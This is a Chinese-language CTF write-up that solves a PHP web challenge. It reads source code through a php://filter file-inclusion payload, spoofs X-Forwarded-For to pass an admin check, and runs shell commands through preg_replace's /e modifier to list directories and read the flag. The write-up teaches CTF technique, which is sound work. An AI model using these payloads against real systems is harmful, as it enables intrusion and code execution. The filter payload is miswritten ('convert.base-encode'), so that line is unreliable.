打开题目,是一个工控云管理系统,胡乱瞎点一点,发现只有设备维护中心可以点进去
右键查看源代码
发现有文件包含函数?page=index,利用php://filter(一般用来读取源码,不过要先经过base64加密,然后再进行解密)payload如下
index.php?page=php://filter/read=convert.base-encode/resource=index.php
拿到源码,发现需要伪造X-Forwarded-For,利用burp伪造。出现Welcome My admin 即伪造成功。
接下来就是利用preg_replace()函数来进行php代码执行
意思就是在pat中的内容在sub中也有,并且加上/e,即可使被替换的部分做为php代码执行
/index.php?pat=/123/e&rep=system('ls')&sub=123
发现s3chahahaDir文件夹,
/index.php?pat=/123/e&rep=system("cd%20s3chahahaDir%26%26%20ls")&sub=123
查看s3chahahaDir
文件夹,发现flag文件夹。PS:%20代表空格,%26%26就是&&代表当前面命令执行成功时,继续执行后面的命令,查看s3chahahaDir文件夹内容。
/index.php?pat=/123/e&rep=system("cd%20s3chahahaDir/flag%26%26%20ls")&sub=123
查看flag文件夹,发现flag.php.
/index.php?pat=/123/e&rep=system("cat%20s3chahahaDir/flag/flag.php")&sub=123 得到flag
本节完,欢迎私信交流学习